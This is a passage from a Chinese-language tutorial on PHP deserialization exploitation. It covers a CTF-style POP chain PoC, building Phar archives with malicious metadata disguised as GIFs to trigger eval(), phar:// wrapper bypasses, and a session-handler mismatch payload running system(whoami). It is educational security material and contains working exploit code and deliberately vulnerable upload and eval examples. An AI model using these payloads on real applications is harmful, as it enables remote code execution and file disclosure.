}

class Test {
public $p;

public function __construct() {
$this->p = array();
}

public function __get($key) {
$function = $this->p;
return $function();
}
}

if (isset($_GET['pop'])) {
// The @ operator is used to suppress error messages.
// This is generally a bad practice and can lead to security vulnerabilities.
// Also, unserialize user input directly is very dangerous because it can lead to object injection vulnerabilities.
@unserialize($_GET['pop']);
} else {
$a = new Show;
highlight_file(__FILE__);
}
  1. 漏洞构造点:append()执行利用文件包含include打开flag文件$value=flag.php
  2. append()执行 需要:invoke()被触发(Modifierl)实例作为函数调用)
  3. Modifierl实例作为函数调用需要:__get被触发)(访问Test对象不存在的属性)$p=new Modifier()触发`__invoke()`
  4. 访问Test对象不存在的属性:__toString()触发(Show对象被当作字符串)$str=new Test();触发`__get()`
  5. Show对象被当作字符串:__wakeup()触发(对show对象反序列化自动触发)$source = new Show();触发`__toString`

最后顺序要求:触发__wakeup–>触发__tostring->触发__get–>触发__invoke

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class Modifier{
// include函数使用伪协议读取文件
protected $var="flag.php";
// 或者利用php伪协议读取
//protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}

class Test{
public $p;
}

class Show{
public $source;
public $str;
// 类中将另一个对象赋值给属性需要使用构造函数.
public function __construct(){
$this->str = new Test();
}
}

// 此时source(show) -> str
$a = new Show();
// source(show) -> str之后触发__tostring然后访问source(test)触发__get
$a->source = new Show();
// __get返回的$p触发__invoke
$a->source->str->p = new Modifier();
echo urlencode(serialize($a));

资料参考自

POP链与Gadget的区别

PHP的POP链(Property Oriented Programming chain)和Java反序列化中的Gadget概念都是与对象序列化和反序列化安全相关的术语,但它们属于不同的编程语言环境,并且在具体的攻击方式和安全影响上有所区别.

  1. PHP的POP链:

    • 在PHP中,POP链指的是通过反序列化过程中魔术方法的调用链,这些魔术方法可能包括__wakeup(), __destruct(), __toString(), __call()等.
    • 通过精心设计的反序列化字符串,攻击者可能会触发这些魔术方法的连锁执行,从而可能导致代码执行、文件操作、数据库操作等潜在的危险行为.
    • PHP的POP链攻击通常依赖于对象的内部状态和方法的定义来影响应用程序的行为.
  2. Java的Gadget:

    • Java中的Gadget通常指的是在反序列化过程中可以被调用以执行某些操作的对象和方法组合.
    • Java反序列化时,JVM会根据序列化数据中的描述来重建对象图,并在这个过程中可能会调用存在于序列化对象中的特殊方法,如readObject(), readResolve(), validateObject(), readExternal()等.
    • 攻击者可以利用这些特殊方法来执行恶意行为,如远程代码执行.被恶意利用的这些类和方法组合被称为Gadget.

区别:

  • 语言环境:POP链是属于PHP的安全问题,而Gadget是Java的概念.
  • 攻击链:PHP的POP链是利用魔术方法的特性来形成的攻击链,而Java的Gadget通常是利用JVM在反序列化过程中调用特定方法的行为来形成攻击向量.
  • 防御措施:虽然两者都需要谨慎处理用户的输入以及序列化和反序列化的数据,但具体的防御措施会有所不同.例如,Java中可能会使用lookAheadInputvalidatingObjectInputStream,而PHP中则需要控制魔术方法的使用和访问权限,或者避免使用序列化存储用户输入的数据.
  • 危险方法:在PHP中主要是魔术方法,而在Java中则是实现了序列化接口的类中的特殊方法.

Phar反序列化

关于Phar反序列化漏洞,它发生的原因通常是因为Phar文件在被访问时,其元数据(metadata)会被自动反序列化.如果攻击者可以控制Phar文件的内容或元数据,他们可能会利用这个反序列化过程来执行恶意代码.

Phar文件的元数据是在创建Phar时通过Phar::setMetadata()设置的,当Phar文件被访问时,比如通过phar://流封装协议,Phar文件内的元数据会被反序列化.如果元数据包含了恶意的序列化对象,而这个对象在反序列化时会调用可被利用的魔术方法(如__wakeup__destruct__toString),那么就可能触发一个漏洞.

什么是Phar

PHAR(“Php ARchive”)是PHP类似于JAR的一种打包文件,在PHP 5.3或更高版本中默认开启,这个特性使得PHP也可以像Java一样方便地实现应用程序打包和组件化

一个应用程序可以打成一个Phar包,直接放到PHP-FPM中运行

Phar文件结构

Phar文件是PHP中用于分发或部署整个PHP应用的一种方式,它可以包含必要的所有文件,如PHP代码、HTML模板、图像等.Phar文件的结构使得它可以在PHP中自包含,并且通常带有签名以验证其完整性.

以下是Phar文件的组成部分的详细说明:

  1. Stub:

    • Stub是Phar文件的启动器(bootstrap)部分,它是一个PHP脚本,在Phar被执行时首先被运行.Stub通常用来设置Phar的运行环境或包含自动加载器.

    • Stub的基本要求是它必须以特殊的__HALT_COMPILER();函数调用结束.这个函数会停止编译器的执行,从而允许将非PHP代码包含在同一个文件中.

    • Stub的结构通常是这样的:

      1
      <?php __HALT_COMPILER();?>
    • 之后的数据可以是Phar文件的其它部分,但这个__HALT_COMPILER();之后的内容对PHP来说是不可执行的.

  2. Manifest:

    • Manifest描述了Phar文件中包含的所有文件和元数据.
    • 其中每个文件都会有一个相应的条目,条目中包含了文件的名称、大小、时间戳、压缩类型等信息.
    • Meta-data部分存储了关于Phar自身的信息,以序列化的形式存储.如果存在反序列化漏洞,攻击者可以通过精心构造的meta-data来执行恶意代码.
  3. File Contents:

    • 这部分包含了Phar文件中所有文件的实际内容.
    • 文件内容可以是压缩的也可以是未压缩的,这取决于在创建Phar时的设置.
  4. Signature:

    • 签名是用来验证Phar文件完整性的.
    • Phar文件可以使用不同类型的签名,如SHA1或SHA256,以确保文件自创建以来没有被修改.
    • 签名通常位于Phar文件的最后部分,Phar文件在被使用前会校验这个签名以确保安全.

当Phar文件被包含或直接执行时,PHP会按照这些部分的顺序来处理Phar文件.如果启用了Phar扩展,并设置了允许Phar文件的执行,PHP将按照Manifest中的信息加载文件,并执行Stub中的代码.如果Phar文件的签名验证失败,或者文件不完整,那么PHP将不会执行Phar文件.

PHP内置了一个Phar类来处理相关操作

必须将PHP.INI中的phar.readonly选项设置为Off,否则无法生成Phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
//反序列化payload构造
class TestObject{}
@unlink("phar.phar");

//实例一个phar对象供后续操作,后缀名必须为phar
$phar = new Phar("phar.phar");
//开始缓冲对phar的写操作
$phar->startBuffering();
//设置识别phar拓展的标识stub,必须以 __HALT_COMPILER();
$phar->setStub("<?php __HALT_COMPILER(); ?>");

//将反序列化的对象放入该文件中
$o = new TestObject();
$o->data = 'It\'s Bob';
//将自定义的归档元数据meta-data存入manifest
$phar->setMetadata($o);

//phar本质上是个压缩包,所以要添加压缩的文件和文件内容
$phar->addFromString("test.txt", "Bob");
//停止缓冲对phar的写操作
$phar->stopBuffering();

我们用010将Phar打开,观察一下数据

可以明显的看到meta-data是以序列化的形式存储的.

有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

受影响的函数列表
fileatime filectime file_exists file_get_contents
file_put_contents file filegroup fopen
fileinode filemtime fileowner fileperms
is_dir is_executable is_file is_link
is_readable is_writable is_writeable parse_ini_file
copy unlink stat readfile
1
2
3
4
5
6
7
8
9
<?php
# 反序列化
class TestObject{
function __destruct()
{
echo $this->data;
}
}
include 'phar://phar.phar';

可以看到已经成功的触发了反序列化

问题?

  1. 序列化:当您调用 $phar->setMetadata($o); 时,PHP将您的 $o 对象及其所有属性(在这个例子中是 data)序列化为一个字符串,并将这个字符串存储在Phar文件的元数据中.这个字符串包含了重建对象 $o 时所需要的所有信息.
  2. 反序列化:当您包含 phar://phar.phar 文件时,PHP Phar扩展会自动尝试反序列化存储在其中的所有元数据.这意味着,Phar文件中存储的序列化字符串会被转换回PHP对象.

现在,理解上述过程后,让我们来看看您的序列化和反序列化代码:

  • 在序列化代码中,$oTestObject 的一个实例,并且它有一个名为 data 的属性,这个属性被设置为字符串 'It\'s Bob'.
  • 在反序列化的脚本中,TestObject 类被定义了一个析构函数 __destruct(),它会在对象被销毁时自动调用,并输出 data 属性.

当您在第二个脚本中包含Phar文件时,Phar扩展会自动反序列化元数据,并创建一个新的 TestObject 对象.由于反序列化创建的对象具有与序列化期间相同的属性和值,它的 data 属性将包含 'It\'s Bob'.

当脚本执行结束或者没有其他引用指向该对象时,新创建的 TestObject 对象会被销毁.对象被销毁时,它的 __destruct() 方法被调用,然后 echo $this->data; 语句执行,输出存储在 data 属性中的字符串.

这是两个完全独立的 TestObject 对象实例:

  1. 一个是在序列化时创建并存储在Phar文件中的;
  2. 一个是在反序列化时由Phar扩展自动创建的

反序列化的对象实例具有序列化对象实例相同的属性值.这就是为什么它能够输出序列化时设置的字符串的原因.

漏洞复现

  1. 环境准备
    • upload_file.php文件上传表单及后端检测上传的文件类型是否为gif,后缀名是否为gif
    • file_vuln.php存在file_exists(),并且存在__destruct()
  2. 利用条件
    • phar文件要能够上传到服务器端
    • 服务端需要有file_exists()fopen()file_get_contents()file()等文件操作的函数
    • 要有可用的魔术方法作为”跳板”
    • 文件操作函数的参数可控,且:/,phar等关键字没有被过滤
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
// 检查是否有文件被上传
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['file'])) {
// 检查文件类型是否为GIF
if ($_FILES["file"]["type"] == "image/gif" && pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION) == 'gif') {
// 上传的文件信息
echo "Upload: " . $_FILES["file"]["name"] . "</br>";
echo "Type: " . $_FILES["file"]["type"] . "</br>";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "</br>";
// 检查是否已存在同名文件
if (file_exists("./" . $_FILES["file"]["name"])) {
echo $_FILES["file"]["name"] . " already exists";
} else {
// 移动文件到指定目录
if (move_uploaded_file($_FILES["file"]["tmp_name"], "./" . $_FILES["file"]["name"])) {
echo "Stored in: " . "./" . $_FILES["file"]["name"];
} else {
// 文件移动失败
echo 'Failed to upload the file';
}
}
} else {
// 文件类型不符合要求
echo "Invalid file, you can only upload a GIF file";
}
}
?>
<!-- HTML表单用于文件上传 -->
<body>
<form action="" method="post" enctype="multipart/form-data">
<label for="file">File:</label>
<input type="file" name="file" id="file"> <!-- 文件选择输入框 -->
<input type="submit" value="Upload"> <!-- 提交按钮 -->
</form>
</body>
file_vuln.php
1
2
3
4
5
6
7
8
9
10
<?php
$filename = $_GET['filename'];
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this->output);
}
}
file_exists($filename);

先用payload生成一个phar.phar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class AnyClass{}
# 删除文件,确保开始前文件不存在,避免在创建新的phar文件时发生冲突.
@unlink("phar.phar");

//实例一个phar对象供后续操作,后缀名必须为phar
$phar = new Phar("phar.phar");
//开始缓冲对phar的写操作
$phar->startBuffering();
//设置识别phar拓展的标识stub,必须以 __HALT_COMPILER();
$phar->setStub("<?php __HALT_COMPILER(); ?>");

//将反序列化的对象放入该文件中
$o = new AnyClass();
$o->output = 'phpinfo();';
//将自定义的归档元数据meta-data存入manifest
$phar->setMetadata($o);

//phar本质上是个压缩包,所以要添加压缩的文件和文件内容
$phar->addFromString("test.txt", "lll");
//停止缓冲对phar的写操作
$phar->stopBuffering();

将phar后缀名改为gif,然后通过文件上传传上去

通过file_vuln页面利用phar伪协议包含phar.gif造成反序列化漏洞

Phar反序列化的绕过

压缩过滤器触发phar时解决phar://不能出现在首部的问题

这时我们可以利用compress.zlib://compress.bzip2://函数

compress.zlib://compress.bzip2://同样适用于phar://

payload:compress.zlib://phar://phar.phar/test.txt

1
2
3
4
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test .txt

PHP-Session反序化

资料参考自

PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取$_SESSION数据,都会对数据进行序列化和反序列化,PHP中的Session的实现是没有的问题的,漏洞主要是由于使用不同的引擎来处理session文件造成的

存在对$_SESSION变量赋值

php引擎存储Session的格式为

php 键名 + 竖线 + 经过 serialize() 函数序列处理的值
php_serialize (PHP>5.5.4) 经过 serialize() 函数序列化处理的数组

如果程序使用两个引擎来分别处理的话就会出现问题。比如下面的例子,先使用php_serialize引擎来存储Session.

sess_write.php
1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['username'] = $_GET['user'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
?>

接下来使用php引擎来读取Session文件

sess_read.php
1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class user{
var $name;
function __wakeup(){
echo "hello ".$this->name." !"
}
}
?>

漏洞的主要原因在于不同的引擎对于竖杠|的解析产生歧义。

对于php_serialize引擎来说|可能只是一个正常的字符;但对于php引擎来说|就是分隔符,前面是$_SESSION['username']的键名 ,后面是GET参数经过serialize序列化后的值。从而在解析的时候造成了歧义,导致其在解析Session文件时直接对|后的值进行反序列化处理。

可能有的人看到这里会有疑问,在使用php引擎读取Session文件时,为什么会自动对|后面的内容进行反序列化呢?也没看到反序列化unserialize函数。

这是因为使用了session_start()这个函数 ,看一下官方说明

可以看到PHP能自动反序列化数据的前提是,现有的会话数据是以特殊的序列化格式存储。

明白了漏洞的原理,也了解了反序列化漏洞的位置,现在来思考一下攻击思路

首先访问sess_write.php,在传入的参数最开始加一个|,由于sess_write.php是使用php_serialize引擎处理,因此只会把|当做一个正常的字符,然后访问sess_read.php,由于用的是php引擎,因此遇到|时会将其看做键名与值的分隔符,从而造成歧义,导致其在解析session文件时直接对|后的值进行反序列化处理

payload
1
2
3
4
5
6
7
8
9
10
11
12
13
class student
{
var $payload;
function __wakeup()
{
return assert($this->payload);
}
}
$a = new student();
$a->payload = "system(whoami)";
echo serialize($a);

# result: O:7:"student":1:{s:7:"payload";s:14:"system(whoami)";}

攻击思路中说到了因为不同的引擎会对|,产生歧义,所以传参的时在payload前加个|,作为a参数

sess_write.php
1
2
3
4
5
6
7
error_reporting(0);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['username'] = $_GET['n'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
sess_read.php
1
2
3
4
5
6
7
8
9
10
11
12
error_reporting(0);
ini_set('session.serialize_handler', 'php');
session_start();
class student
{
var $payload;
function __wakeup()
{
return assert($this->payload);
}
}

PHP原生类的利用

未完待续qaq